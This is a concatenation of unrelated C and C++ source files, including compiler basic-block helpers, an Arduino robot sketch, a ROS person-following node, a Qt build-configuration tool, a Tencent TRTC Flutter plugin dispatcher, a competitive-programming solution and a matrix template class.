DevAssert(OP_cond(br_op), ("BB_succs(BB:%d) wrongly contains BB:%d",
BB_id(bb), BB_id(next)));
}
}
}
}
return node;
}
BBLIST *
BBlist_Fall_Thru_Pred (BB *bb)
/* -----------------------------------------------------------------------
* Returns a pointer to the BBLIST <node> in BB_preds(bb) such that
* BBLIST_item(node) is the fall through control flow predecessor of
* <bb>, or NULL if there is none.
* -----------------------------------------------------------------------
*/
{
BB *prev = BB_prev(bb);
BBLIST *node = NULL;
if (prev && (node = BB_Find_Pred(bb, prev))) {
/* Make sure <bb> is not a branch target of <prev> (direct or indirect). */
OP *br_op = BB_branch_op(prev);
if (br_op) {
INT tfirst, tcount;
CGTARG_Branch_Info(br_op, &tfirst, &tcount);
if (tcount == 0) {
/* Indirect jump - no fall-through pred */
node = NULL;
} else {
TN *dest = OP_opnd(br_op, tfirst);
DevAssert(tcount == 1, ("%d branch targets, expected 1", tcount));
DevAssert(TN_is_label(dest), ("expected label"));
if (Is_Label_For_BB(TN_label(dest), bb)) {
/* Remove useless explicit branch to <bb> */
BB_Remove_Op(prev, br_op);
} else {
DevAssert(OP_cond(br_op), ("BB_preds(BB:%d) wrongly contains BB:%d",
BB_id(bb), BB_id(prev)));
}
}
}
}
return node;
}
| 10,353 | 3,949 |
#include <Servo.h>
#include "Arduino.h"
#include "./Robot.h"
#define IR A3 // define signal pin
#define MOTOR1 {8, 9, 10}
#define MOTOR2 {7, 6, 5}
Robot robot(IR, 3, MOTOR1, MOTOR2);
void setup ()
{
Serial.begin(9600); // setup serial
robot.Init();
}
void loop ()
{
robot.Act();
delay(50);
}
/*
// void test_motor ()
// {
// // they turn the same way if the input is different
// left.TurnMotor(160, false);
// right.TurnMotor(100, true);
// delay(500);
// }
int pos;
void test_servo ()
{
// for (pos = ServoMonoEye::GetMin(); pos <= ServoMonoEye::GetMax(); pos += 1) { // goes from 0 degrees to 180 degrees
// // in steps of 1 degree
// myservo.TurnTo(pos); // tell servo to go to position in variable 'pos'
// delay(5); // waits 15ms for the servo to reach the position
// }
// for (pos = 180; pos >= 0; pos -= 1) { // goes from 180 degrees to 0 degrees
// myservo.TurnTo(pos); // tell servo to go to position in variable 'pos'
// delay(5); // waits 15ms for the servo to reach the position
// }
long dur = 500;
myservo.TurnTo(ServoMonoEye::GetMin());
delay(dur);
myservo.TurnTo(ServoMonoEye::GetMax());
delay(dur);
}
// void test_dist ()
// {
// val = SharpIR.distance();
// Serial.println(val); // debug value
// delay(500);
// }
*/ | 1,403 | 557 |
#include <SepantaFollow.h>
actionlib::SimpleActionClient<sepanta_msgs::MasterAction> * ac;
SepantaFollowEngine::SepantaFollowEngine() :
App_exit(false),
_thread_Logic(&SepantaFollowEngine::logic_thread,this),
_thread_10hz_publisher(&SepantaFollowEngine::scan10hz_thread,this),
it(nh)
{
init();
}
SepantaFollowEngine::~SepantaFollowEngine()
{
kill();
}
bool SepantaFollowEngine::isidexist(int id)
{
for ( int i = 0 ; i < list_persons.size() ; i++ )
{
if ( list_persons.at(i).ID == id )
{
target_person = list_persons.at(i);
return true;
}
}
return false;
}
double SepantaFollowEngine::Quat2Rad(double orientation[])
{
tf::Quaternion q(orientation[0], orientation[1], orientation[2], orientation[3]);
tf::Matrix3x3 m(q);
double roll, pitch, yaw;
m.getRPY(roll, pitch, yaw);
return yaw;
}
double SepantaFollowEngine::Quat2Rad2(tf::Quaternion q)
{
tf::Matrix3x3 m(q);
double roll, pitch, yaw;
m.getRPY(roll, pitch, yaw);
return yaw;
}
void SepantaFollowEngine::GetPos(const geometry_msgs::PoseStamped::ConstPtr &msg)
{
Position[0] = msg->pose.position.x;
Position[1] = msg->pose.position.y;
orientation[0] = msg->pose.orientation.x;
orientation[1] = msg->pose.orientation.y;
orientation[2] = msg->pose.orientation.z;
orientation[3] = msg->pose.orientation.w;
Tetha = Quat2Rad(orientation);
//if (Tetha < 0) Tetha += 2 * M_PI;
//cout<<"POS : "<<Position[0]<<" "<<Position[1]<<" "<<Tetha<<endl;
}
double SepantaFollowEngine::GetDistance(double x1, double y1, double x2, double y2)
{
double x = x2-x1;
double y = y2-y1;
return sqrt(x*x + y*y);
}
bool SepantaFollowEngine::find_user_for_follow()
{
int dist_min = 100;
bool valid = false;
for ( int i = 0 ; i < list_persons.size() ; i++ )
{
double _x = list_persons.at(i).pose.position.x;
double _y = list_persons.at(i).pose.position.y;
if ( _x > 0.5 && _x < 3 && abs(_y) < 0.4 )
{
double dist = GetDistance(0,0,_x,_y);
if ( dist < dist_min )
{
dist_min = dist;
target_person = list_persons.at(i);
valid = true;
}
}
}
return valid;
}
void SepantaFollowEngine::change_led(int r,int g,int b)
{
sepanta_msgs::led _msg;
if( r != 0 || g != 0 || b != 0)
{
_msg.enable = true;
_msg.colorR = r;
_msg.colorG = g;
_msg.colorB = b;
}
else
{
_msg.enable = false;
}
led_pub.publish(_msg);
}
int follow_state;
int find_state;
double goal_x;
double goal_y;
int action_state = 0;
double old_goal_x;
double old_goal_y;
void SepantaFollowEngine::logic_thread()
{
follow_state = 0;
find_state = 0;
boost::this_thread::sleep(boost::posix_time::milliseconds(1000));
std::cout<<"logic thread started"<<endl;
while(ros::ok() && !App_exit)
{
boost::this_thread::sleep(boost::posix_time::milliseconds(100));
if ( follow_state == 0 )
{
change_led(250,0,0);
cout<<"[state = 0] : wait for user "<<endl;
follow_state = 1;
find_state = 0;
}
else if ( follow_state == 1 )
{
cout<<"[state = 1] : find_state : "<<find_state<<endl;
bool result = find_user_for_follow();
change_led(0,0,250);
if ( result )
{
find_state++;
if ( find_state > 2)
{
find_state = 0;
follow_state = 2;
}
}
else
{
find_state = 0;
}
}
else if ( follow_state == 2 )
{
bool result = isidexist(target_person.ID);
if ( result == false )
{
change_led(250,0,0);
cout<<"[state = 2] User Lost"<<endl;
sepanta_move->exe_cancel();
follow_state = 0;
}
else
{
change_led(0,250,0);
double e_x = Position[0]+ (target_person.pose.position.x+0.27) * cos(Tetha) - (target_person.pose.position.y) * sin(Tetha);
double e_y = Position[1]+ (target_person.pose.position.x+0.27) * sin(Tetha) + (target_person.pose.position.y) * cos(Tetha);
//double g[4];
//g[0] = target_person.pose.orientation.x;
//g[1] = target_person.pose.orientation.y;
//g[2] = target_person.pose.orientation.z;
///g[3] = target_person.pose.orientation.w;
//double e_yaw = Rad2Deg(Quat2Rad(g));
//cout<<"YAW : "<<e_yaw<<endl;
double r_costmap = 0.5;
double Y = e_y - Position[0];
double X = e_x - Position[1];
double R = sqrt(X*X + Y*Y);
double r = R - r_costmap;
double x_goal = ( X * r ) / R;
double y_goal = ( x_goal * Y ) / X;
visualization_msgs::Marker points;
points.header.frame_id = "map";
points.header.stamp = ros::Time::now();
points.ns = "point";
points.action = visualization_msgs::Marker::ADD;
points.pose.orientation.w = 1.0;
points.id = 0;
points.type = visualization_msgs::Marker::POINTS;
points.scale.x = 0.1;
points.scale.y = 0.1;
points.color.r = 1;
points.color.a = 1.0;
geometry_msgs::Point p;
p.x = x_goal;
p.y = y_goal;
p.z = 0;
points.points.push_back(p);
marker_pub.publish(points);
goal_data l;
l.x = (int)(x_goal * 100);
l.y = (int)(y_goal * 100);
l.yaw = 0;
sepanta_move->exe_slam(l);
}
}
}
}
void SepantaFollowEngine::scan10hz_thread()
{
boost::this_thread::sleep(boost::posix_time::milliseconds(1000));
std::cout<<"10hz publisher thread started"<<endl;
while(ros::ok() && !App_exit)
{
scan10hz_can_send = true;
boost::this_thread::sleep(boost::posix_time::milliseconds(100));
}
}
void SepantaFollowEngine::chatterCallback_laser(const sensor_msgs::LaserScan::ConstPtr &msg)
{
if ( scan10hz_can_send )
{
scan10hz_can_send = false;
scan10hz_pub.publish(msg);
}
}
void SepantaFollowEngine::chatterCallback_persons(const sepanta_msgs::PersonArray::ConstPtr &msg)
{
list_persons.clear();
for ( int i = 0 ; i < msg->people.size() ; i++ )
{
person p;
p.pose = msg->people.at(i).pose;
p.ID = msg->people.at(i).id;
list_persons.push_back(p);
}
// cout<<"people detected : "<<list_persons.size()<<endl;
}
void SepantaFollowEngine::rgbImageCallback(const sensor_msgs::ImageConstPtr& input_image)
{
cv_bridge::CvImagePtr cv_ptr;
cv_ptr = cv_bridge::toCvCopy(input_image, sensor_msgs::image_encodings::BGR8);
cv::Size s = cv_ptr->image.size();
//cout<<s.width<<endl;
//cout<<s.height<<endl;
float w = 1280;
float h = 720;
float ratio = w / h;
int w2 = 800;
int h2 = w2 / ratio;
cv::Size size(w2,h2);//the dst image size,e.g.100x100
cv::Mat dst;//dst image
//Mat src;//src image
cv::resize(cv_ptr->image,dst,size);//resize image
//cv::imshow("Objects Visualizer", dst);
//cv::waitKey(1);
sensor_msgs::ImagePtr msg = cv_bridge::CvImage(input_image->header, "bgr8", dst).toImageMsg();
small_image_pub.publish(msg);
}
void SepantaFollowEngine::init()
{
ROS_INFO("SepantaFollowEngine Version 1.0.0 :*");
App_exit = false;
scan10hz_can_send = false;
//============================================================================================
sub_handles[0] = node_handle.subscribe("/slam_out_pose", 10, &SepantaFollowEngine::GetPos,this);
sub_handles[1] = node_handle.subscribe("/scan",10,&SepantaFollowEngine::chatterCallback_laser,this);
sub_handles[2] = node_handle.subscribe("/people_tracked",10,&SepantaFollowEngine::chatterCallback_persons,this);
sub_handles[3] = node_handle.subscribe("/kinect2/hd/image_color_rect", 1, &SepantaFollowEngine::rgbImageCallback,this);
sub_handles[4] = node_handle.subscribe("kinect2/bodyArray",10,chatterCallback_kinect2_body);
//============================================================================================
scan10hz_pub = node_handle.advertise<sensor_msgs::LaserScan>("/scan_10hz", 10);
marker_pub = node_handle.advertise<visualization_msgs::Marker>("visualization_marker_follow_target", 10);
led_pub = node_handle.advertise<sepanta_msgs::led>("/lowerbodycore/led", 10);
small_image_pub = it.advertise("/kinect2/small/image_color_rect", 1);
sepanta_move = new smove();
ROS_INFO("Init done");
}
void SepantaFollowEngine::kill()
{
_thread_Logic.interrupt();
_thread_Logic.join();
_thread_PathFwr.interrupt();
_thread_PathFwr.join();
_thread_Vis.interrupt();
_thread_Vis.join();
} | 9,401 | 3,368 |
#include "bits/stdc++.h"
using namespace std;
const std::pair<int, int> moves[] = {{-1, 0}, {0, -1}, {0, 1}, {1, 0}};
/*
for(auto [dx, dy]: moves)
{
// Here nr and nc are what comes into the queue - i & j
dx += nr;
dy += nc;
}
*/
vector<vector<int>> getNeighbours(int r, int c, int R, int C)
{
vector<vector<int>> neighbours;
vector<vector<int>> adj = {{-1, 0}, {0, -1},{1, 0}, {0, 1}};
for(int i=0; i<4; i++)
{
int nr = adj[i][0] + r;
int nc = adj[i][1] + c;
if(nr >=0 && nr < R && nc >=0 and nc < C) {
neighbours.push_back({nr, nc});
}
}
return neighbours;
}
int main()
{
vector<vector<int>> arr = {{1, 2, 3}, {4, 5, 6}, {7, 8, 9}};
/* To parse the matrix and get the neighbours of each of the elements */
int R = arr.size();
int C = arr[0].size();
for(int i=0; i<R; i++)
{
for(int j=0; j<R; j++)
{
vector<vector<int>> nei = getNeighbours(i, j, R, C);
cout << "The neighbours of " << i << " " << j << endl;
for(auto c: nei)
cout << c[0] << c[1] << endl;
cout << "**************************" << endl;
}
}
} | 1,215 | 496 |
// Copyright Nathaniel Christen 2019.
// Distributed under the Boost Software License, Version 1.0.
// (See accompanying file LICENSE_1_0.txt or copy at
// http://www.boost.org/LICENSE_1_0.txt)
#include "application-model/application-config-model.h"
#include "config-dialog/config-dialog.h"
#include <QApplication>
#include <QDebug>
#include <QIcon>
#include "kans.h"
#include "textio.h"
USING_KANS(TextIO)
#include <QThread>
USING_KANS(DSM)
int main(int argc, char **argv)
{
QApplication qapp(argc, argv);
qapp.setWindowIcon(QIcon(DEFAULT_ICON_FOLDER "/app-icon.png"));
Config_Dialog dlg(nullptr);
dlg.set_reset_callback([]()
{
Application_Config_Model::reset(
{
DEFINES_SRC_FOLDER "/UNIBUILD-custom_defines.h",
CHOICES_PRI_FOLDER "/UNIBUILD-custom_choices.pri",
UNIBUILD_PRI_FOLDER "/build-custom.pro",
CUSTOM_LIBS_PRI_FOLDER "/_xpdf.pri",
CUSTOM_LIBS_PRI_FOLDER "/_kph.pri",
CUSTOM_LIBS_PRI_FOLDER "/_ss3d.pri",
}, ".reset");
});
dlg.set_proceed_callback([&dlg](QString qs)
{
qDebug() << qs;
Application_Config_Model acm;
acm.parse_config_code(qs);
{
QString result;
QString f = acm.insert_to_defines(DEFINES_SRC_FOLDER "/UNIBUILD-custom_defines.h", result);
save_file(f, result);
}
{
QString result;
QString f = acm.insert_to_choices(CHOICES_PRI_FOLDER "/UNIBUILD-custom_choices.pri", result);
save_file(f, result);
}
{
QString result;
QString f = acm.insert_to_unibuild(UNIBUILD_PRI_FOLDER "/build-custom.pro", result);
save_file(f, result);
}
{
QMap<QString, QString> result;
QMap<QString, QString> files {{
{ "xpdf", CUSTOM_LIBS_PRI_FOLDER "/_xpdf.pri" },
{ "kph", CUSTOM_LIBS_PRI_FOLDER "/_kph.pri" },
{ "ss3d", CUSTOM_LIBS_PRI_FOLDER "/_ss3d.pri" }
}};
acm.insert_to_custom_libs(files, result);
QMapIterator<QString, QString> it(result);
while(it.hasNext())
{
it.next();
save_file(it.key(), it.value());
}
}
dlg.register_proceed_completed(qs);
});
dlg.show();
return qapp.exec();
}
| 2,072 | 894 |
#include "include/tencent_trtc_cloud/tencent_trtc_cloud_plugin.h"
// This must be included before many other Windows headers.
#include <windows.h>
// For getPlatformVersion; remove unless needed for your plugin implementation.
#include <VersionHelpers.h>
#include <flutter/method_channel.h>
#include <flutter/plugin_registrar_windows.h>
#include <flutter/standard_method_codec.h>
#include <string>
#include <map>
#include <memory>
#include <sstream>
#include "include/TRTC/ITRTCCloud.h"
#include "include/TRTC/TRTCCloudDef.h"
#include "src/trtc_cloud.h"
using trtc_sdk_flutter::SDKManager;
namespace {
class TencentTrtcCloudPlugin : public flutter::Plugin {
public:
static void RegisterWithRegistrar(flutter::PluginRegistrarWindows *registrar);
TencentTrtcCloudPlugin();
virtual ~TencentTrtcCloudPlugin();
private:
// Called when a method is called on this plugin's channel from Dart.
void HandleMethodCall(
const flutter::MethodCall<flutter::EncodableValue> &method_call,
std::unique_ptr<flutter::MethodResult<flutter::EncodableValue>> result);
private:
bool isInit_ = false;
UP<SDKManager> sdk_manager_;
};
// static
void TencentTrtcCloudPlugin::RegisterWithRegistrar(
flutter::PluginRegistrarWindows *registrar) {
auto channel =
MK_SP<flutter::MethodChannel<flutter::EncodableValue>>(
registrar->messenger(), "trtcCloudChannel",
&flutter::StandardMethodCodec::GetInstance());
auto plugin = std::make_unique<TencentTrtcCloudPlugin>();
plugin->sdk_manager_ = std::make_unique<SDKManager>(channel, registrar->texture_registrar());
channel->SetMethodCallHandler(
[plugin_pointer = plugin.get()](const auto &call, auto result) {
plugin_pointer->HandleMethodCall(call, std::move(result));
});
registrar->AddPlugin(std::move(plugin));
}
TencentTrtcCloudPlugin::TencentTrtcCloudPlugin() {}
TencentTrtcCloudPlugin::~TencentTrtcCloudPlugin() {}
void TencentTrtcCloudPlugin::HandleMethodCall(
const flutter::MethodCall<flutter::EncodableValue> &method_call,
std::unique_ptr<flutter::MethodResult<flutter::EncodableValue>> result) {
std::string methodName = method_call.method_name();
if (methodName.compare("getPlatformVersion") == 0) {
std::ostringstream version_stream;
version_stream << "Windows ";
if (IsWindows10OrGreater()) {
version_stream << "10+";
} else if (IsWindows8OrGreater()) {
version_stream << "8";
} else if (IsWindows7OrGreater()) {
version_stream << "7";
}
result->Success(flutter::EncodableValue(version_stream.str()));
return;
}
if(methodName.compare("sharedInstance") == 0) {
isInit_ = true;
sdk_manager_->sharedInstance(method_call, std::move(result));
return;
}
// 未进行单例初始化
if(!isInit_) {
result->Success(nullptr);
return;
}
if(methodName.compare("destroySharedInstance") == 0) {
isInit_ = false;
sdk_manager_->destroySharedInstance(method_call, std::move(result));
} else if(methodName.compare("getSDKVersion") == 0) {
sdk_manager_->getSDKVersion(method_call, std::move(result));
} else if(methodName.compare("enterRoom") == 0) {
sdk_manager_->enterRoom(method_call, std::move(result));
} else if(methodName.compare("switchRoom") == 0) {
sdk_manager_->switchRoom(method_call, std::move(result));
} else if(methodName.compare("exitRoom") == 0) {
sdk_manager_->exitRoom(method_call, std::move(result));
} else if(methodName.compare("connectOtherRoom") == 0) {
sdk_manager_->connectOtherRoom(method_call, std::move(result));
} else if(methodName.compare("disconnectOtherRoom") == 0) {
sdk_manager_->disconnectOtherRoom(method_call, std::move(result));
} else if(methodName.compare("switchRole") == 0) {
sdk_manager_->switchRole(method_call, std::move(result));
} else if(methodName.compare("setDefaultStreamRecvMode") == 0) {
sdk_manager_->setDefaultStreamRecvMode(method_call, std::move(result));
} else if(methodName.compare("startPublishing") == 0) {
sdk_manager_->startPublishing(method_call, std::move(result));
} else if(methodName.compare("stopPublishing") == 0) {
sdk_manager_->stopPublishing(method_call, std::move(result));
} else if(methodName.compare("startPublishCDNStream") == 0) {
sdk_manager_->startPublishCDNStream(method_call, std::move(result));
} else if(methodName.compare("stopPublishCDNStream") == 0) {
sdk_manager_->stopPublishCDNStream(method_call, std::move(result));
} else if(methodName.compare("setMixTranscodingConfig") == 0) {
sdk_manager_->setMixTranscodingConfig(method_call, std::move(result));
} else if(methodName.compare("startLocalPreview") == 0) {
sdk_manager_->startLocalPreview(method_call, std::move(result));
} else if(methodName.compare("stopLocalPreview") == 0) {
sdk_manager_->stopLocalPreview(method_call, std::move(result));
} else if(methodName.compare("startRemoteView") == 0) {
sdk_manager_->startRemoteView(method_call, std::move(result));
} else if(methodName.compare("stopRemoteView") == 0) {
sdk_manager_->stopRemoteView(method_call, std::move(result));
} else if(methodName.compare("stopAllRemoteView") == 0) {
sdk_manager_->stopAllRemoteView(method_call, std::move(result));
} else if(methodName.compare("muteRemoteAudio") == 0) {
sdk_manager_->muteRemoteAudio(method_call, std::move(result));
} else if(methodName.compare("muteAllRemoteAudio") == 0) {
sdk_manager_->muteAllRemoteAudio(method_call, std::move(result));
} else if(methodName.compare("setRemoteAudioVolume") == 0) {
sdk_manager_->setRemoteAudioVolume(method_call, std::move(result));
} else if(methodName.compare("setAudioCaptureVolume") == 0) {
sdk_manager_->setAudioCaptureVolume(method_call, std::move(result));
} else if(methodName.compare("getAudioCaptureVolume") == 0) {
sdk_manager_->getAudioCaptureVolume(method_call, std::move(result));
} else if(methodName.compare("setAudioPlayoutVolume") == 0) {
sdk_manager_->setAudioPlayoutVolume(method_call, std::move(result));
} else if(methodName.compare("getAudioPlayoutVolume") == 0) {
sdk_manager_->getAudioPlayoutVolume(method_call, std::move(result));
} else if(methodName.compare("startLocalAudio") == 0) {
sdk_manager_->startLocalAudio(method_call, std::move(result));
} else if(methodName.compare("stopLocalAudio") == 0) {
sdk_manager_->stopLocalAudio(method_call, std::move(result));
} else if(methodName.compare("muteRemoteVideoStream") == 0) {
sdk_manager_->muteRemoteVideoStream(method_call, std::move(result));
} else if(methodName.compare("muteAllRemoteVideoStreams") == 0) {
sdk_manager_->muteAllRemoteVideoStreams(method_call, std::move(result));
} else if(methodName.compare("setVideoEncoderParam") == 0) {
sdk_manager_->setVideoEncoderParam(method_call, std::move(result));
} else if(methodName.compare("setNetworkQosParam") == 0) {
sdk_manager_->setNetworkQosParam(method_call, std::move(result));
} else if(methodName.compare("setLocalRenderParams") == 0) {
sdk_manager_->setLocalRenderParams(method_call, std::move(result));
} else if(methodName.compare("setRemoteRenderParams") == 0) {
sdk_manager_->setRemoteRenderParams(method_call, std::move(result));
} else if(methodName.compare("setVideoEncoderRotation") == 0) {
sdk_manager_->setVideoEncoderRotation(method_call, std::move(result));
} else if(methodName.compare("setVideoEncoderMirror") == 0) {
sdk_manager_->setVideoEncoderMirror(method_call, std::move(result));
} else if(methodName.compare("enableEncSmallVideoStream") == 0) {
sdk_manager_->enableEncSmallVideoStream(method_call, std::move(result));
} else if(methodName.compare("setRemoteVideoStreamType") == 0) {
sdk_manager_->setRemoteVideoStreamType(method_call, std::move(result));
} else if(methodName.compare("snapshotVideo") == 0) {
sdk_manager_->snapshotVideo(method_call, std::move(result));
} else if(methodName.compare("setLocalVideoRenderListener") == 0) {
sdk_manager_->setLocalVideoRenderListener(method_call, std::move(result));
} else if(methodName.compare("setRemoteVideoRenderListener") == 0) {
sdk_manager_->setRemoteVideoRenderListener(method_call, std::move(result));
} else if(methodName.compare("muteLocalAudio") == 0) {
sdk_manager_->muteLocalAudio(method_call, std::move(result));
} else if(methodName.compare("muteLocalVideo") == 0) {
sdk_manager_->muteLocalVideo(method_call, std::move(result));
} else if(methodName.compare("enableAudioVolumeEvaluation") == 0) {
sdk_manager_->enableAudioVolumeEvaluation(method_call, std::move(result));
} else if(methodName.compare("startAudioRecording") == 0) {
sdk_manager_->startAudioRecording(method_call, std::move(result));
} else if(methodName.compare("stopAudioRecording") == 0) {
sdk_manager_->stopAudioRecording(method_call, std::move(result));
} else if(methodName.compare("startLocalRecording") == 0) {
sdk_manager_->startLocalRecording(method_call, std::move(result));
} else if(methodName.compare("stopLocalRecording") == 0) {
sdk_manager_->stopLocalRecording(method_call, std::move(result));
} else if(methodName.compare("setSystemVolumeType") == 0) {
sdk_manager_->setSystemVolumeType(method_call, std::move(result));
} else if(methodName.compare("getDeviceManager") == 0) {
sdk_manager_->getDeviceManager(method_call, std::move(result));
} else if(methodName.compare("getBeautyManager") == 0) {
sdk_manager_->getBeautyManager(method_call, std::move(result));
} else if(methodName.compare("getAudioEffectManager") == 0) {
sdk_manager_->getAudioEffectManager(method_call, std::move(result));
} else if(methodName.compare("startScreenCapture") == 0) {
sdk_manager_->startScreenCapture(method_call, std::move(result));
} else if(methodName.compare("stopScreenCapture") == 0) {
sdk_manager_->stopScreenCapture(method_call, std::move(result));
} else if(methodName.compare("pauseScreenCapture") == 0) {
sdk_manager_->pauseScreenCapture(method_call, std::move(result));
} else if(methodName.compare("resumeScreenCapture") == 0) {
sdk_manager_->resumeScreenCapture(method_call, std::move(result));
} else if(methodName.compare("setWatermark") == 0) {
sdk_manager_->setWatermark(method_call, std::move(result));
} else if(methodName.compare("sendCustomCmdMsg") == 0) {
sdk_manager_->sendCustomCmdMsg(method_call, std::move(result));
} else if(methodName.compare("sendSEIMsg") == 0) {
sdk_manager_->sendSEIMsg(method_call, std::move(result));
} else if(methodName.compare("startSpeedTest") == 0) {
sdk_manager_->startSpeedTest(method_call, std::move(result));
} else if(methodName.compare("stopSpeedTest") == 0) {
sdk_manager_->stopSpeedTest(method_call, std::move(result));
} else if(methodName.compare("setLogLevel") == 0) {
sdk_manager_->setLogLevel(method_call, std::move(result));
} else if(methodName.compare("setConsoleEnabled") == 0) {
sdk_manager_->setConsoleEnabled(method_call, std::move(result));
} else if(methodName.compare("setLogDirPath") == 0) {
sdk_manager_->setLogDirPath(method_call, std::move(result));
} else if(methodName.compare("setLogCompressEnabled") == 0) {
sdk_manager_->setLogCompressEnabled(method_call, std::move(result));
} else if(methodName.compare("callExperimentalAPI") == 0) {
sdk_manager_->callExperimentalAPI(method_call, std::move(result));
} else if(methodName.compare("setBeautyStyle") == 0) {
sdk_manager_->setBeautyStyle(method_call, std::move(result));
} else if(methodName.compare("setBeautyLevel") == 0) {
sdk_manager_->setBeautyLevel(method_call, std::move(result));
} else if(methodName.compare("setWhitenessLevel") == 0) {
sdk_manager_->setWhitenessLevel(method_call, std::move(result));
} else if(methodName.compare("setRuddyLevel") == 0) {
sdk_manager_->setRuddyLevel(method_call, std::move(result));
} else if(methodName.compare("startPlayMusic") == 0) {
sdk_manager_->startPlayMusic(method_call, std::move(result));
} else if(methodName.compare("stopPlayMusic") == 0) {
sdk_manager_->stopPlayMusic(method_call, std::move(result));
} else if(methodName.compare("pausePlayMusic") == 0) {
sdk_manager_->pausePlayMusic(method_call, std::move(result));
} else if(methodName.compare("resumePlayMusic") == 0) {
sdk_manager_->resumePlayMusic(method_call, std::move(result));
} else if(methodName.compare("setMusicPublishVolume") == 0) {
sdk_manager_->setMusicPublishVolume(method_call, std::move(result));
} else if(methodName.compare("setMusicPlayoutVolume") == 0) {
sdk_manager_->setMusicPlayoutVolume(method_call, std::move(result));
} else if(methodName.compare("setAllMusicVolume") == 0) {
sdk_manager_->setAllMusicVolume(method_call, std::move(result));
} else if(methodName.compare("setMusicPitch") == 0) {
sdk_manager_->setMusicPitch(method_call, std::move(result));
} else if(methodName.compare("setMusicSpeedRate") == 0) {
sdk_manager_->setMusicSpeedRate(method_call, std::move(result));
} else if(methodName.compare("getMusicCurrentPosInMS") == 0) {
sdk_manager_->getMusicCurrentPosInMS(method_call, std::move(result));
} else if(methodName.compare("seekMusicToPosInMS") == 0) {
sdk_manager_->seekMusicToPosInMS(method_call, std::move(result));
} else if(methodName.compare("getMusicDurationInMS") == 0) {
sdk_manager_->getMusicDurationInMS(method_call, std::move(result));
} else if(methodName.compare("setVoiceReverbType") == 0) {
sdk_manager_->setVoiceReverbType(method_call, std::move(result));
} else if(methodName.compare("setVoiceCaptureVolume") == 0) {
sdk_manager_->setVoiceCaptureVolume(method_call, std::move(result));
} else if(methodName.compare("getDevicesList") == 0) {
sdk_manager_->getDevicesList(method_call, std::move(result));
} else if(methodName.compare("setCurrentDevice") == 0) {
sdk_manager_->setCurrentDevice(method_call, std::move(result));
} else if(methodName.compare("getCurrentDevice") == 0) {
sdk_manager_->getCurrentDevice(method_call, std::move(result));
} else if(methodName.compare("setCurrentDeviceVolume") == 0) {
sdk_manager_->setCurrentDeviceVolume(method_call, std::move(result));
} else if(methodName.compare("getCurrentDeviceVolume") == 0) {
sdk_manager_->getCurrentDeviceVolume(method_call, std::move(result));
} else if(methodName.compare("setCurrentDeviceMute") == 0) {
sdk_manager_->setCurrentDeviceMute(method_call, std::move(result));
} else if(methodName.compare("getCurrentDeviceMute") == 0) {
sdk_manager_->getCurrentDeviceMute(method_call, std::move(result));
} else if(methodName.compare("startMicDeviceTest") == 0) {
sdk_manager_->startMicDeviceTest(method_call, std::move(result));
} else if(methodName.compare("stopMicDeviceTest") == 0) {
sdk_manager_->stopMicDeviceTest(method_call, std::move(result));
} else if(methodName.compare("startSpeakerDeviceTest") == 0) {
sdk_manager_->startSpeakerDeviceTest(method_call, std::move(result));
} else if(methodName.compare("stopSpeakerDeviceTest") == 0) {
sdk_manager_->stopSpeakerDeviceTest(method_call, std::move(result));
} else if(methodName.compare("setApplicationPlayVolume") == 0) {
sdk_manager_->setApplicationPlayVolume(method_call, std::move(result));
} else if(methodName.compare("getApplicationPlayVolume") == 0) {
sdk_manager_->getApplicationPlayVolume(method_call, std::move(result));
} else if(methodName.compare("setApplicationMuteState") == 0) {
sdk_manager_->setApplicationMuteState(method_call, std::move(result));
} else if(methodName.compare("getApplicationMuteState") == 0) {
sdk_manager_->getApplicationMuteState(method_call, std::move(result));
} else if(methodName.compare("unregisterTexture") == 0) {
sdk_manager_->unregisterTexture(method_call, std::move(result));
}
else {
result->NotImplemented();
}
}
} // namespace
void TencentTrtcCloudPluginRegisterWithRegistrar(
FlutterDesktopPluginRegistrarRef registrar) {
TencentTrtcCloudPlugin::RegisterWithRegistrar(
flutter::PluginRegistrarManager::GetInstance()
->GetRegistrar<flutter::PluginRegistrarWindows>(registrar));
}
| 16,303 | 5,528 |
/****************************************************************************************
* @author: kzvd4729 created: Jul/09/2019 19:04
* solution_verdict: Time limit exceeded on test 3 language: GNU C++14
* run_time: 2000 ms memory_used: 35200 KB
* problem: https://codeforces.com/contest/1175/problem/F
****************************************************************************************/
#include<bits/stdc++.h>
#define long long long
using namespace std;
const long mod=1000001011;
const int N=1e6,bs=307;
int aa[N+2],dp[N+2],lst[N+2];
long pw[N+2],qm[N+2],hs[N+2];
int main()
{
ios_base::sync_with_stdio(0);cin.tie(0);
int n;cin>>n;pw[0]=1;
for(int i=1;i<=n;i++)pw[i]=(pw[i-1]*bs)%mod;
for(int i=1;i<=n;i++)qm[i]=(qm[i-1]+pw[i])%mod;
for(int i=1;i<=n;i++)cin>>aa[i];
dp[n+1]=n+1;
for(int i=n;i>=1;i--)
{
dp[i]=dp[i+1];
if(lst[aa[i]])dp[i]=min(dp[i],lst[aa[i]]);
lst[aa[i]]=i;
}
for(int i=1;i<=n;i++)
hs[i]=(hs[i-1]+pw[aa[i]])%mod;
int ans=0;dp[0]=1;
for(int i=1;i<=n;i++)
{
int ln=min(n-i+1,aa[i-1]-1);
ln=min(ln,dp[i-1]-i);
for(int j=i;j<i+ln;j++)
if(((hs[j]-hs[i-1]+mod)%mod)==qm[j-i+1])ans++;
for(int j=dp[i-1];j<dp[i];j++)
if(((hs[j]-hs[i-1]+mod)%mod)==qm[j-i+1])ans++;
}
cout<<ans<<endl;
return 0;
} | 1,468 | 680 |
//--------------------------------------------------
// Atta Math
// matrix.inl
// Date: 2021-04-09
// By Breno Cunha Queiroz
//--------------------------------------------------
namespace atta
{
template <typename T>
matrix<T>::matrix(size_t _nrows, size_t _ncols):
nrows(_nrows), ncols(_ncols)
{
rows = std::vector<vector<T>>(nrows);
for(int i=0;i<nrows;i++)
rows[i] = vector<T>(ncols);
}
template <typename T>
matrix<T>::matrix(size_t _nrows, size_t _ncols, T val):
nrows(_nrows), ncols(_ncols)
{
rows = std::vector<atta::vector<T>>(nrows);
for(int i=0;i<nrows;i++)
rows[i] = atta::vector<T>(ncols, val);
}
template <typename T>
template <typename U>
matrix<T>::matrix(const matrix<U>& m):
nrows(m.nrows), ncols(m.ncols)
{
rows = std::vector<atta::vector<T>>(nrows);
for(int i=0;i<nrows;i++)
rows[i] = atta::vector<T>(ncols);
for(int i=0;i<nrows;i++)
for(int j=0;j<ncols;j++)
rows[i][j] = m.rows.at(i).at(j);
}
template <typename T>
matrix<T>::~matrix()
{
}
template <typename T>
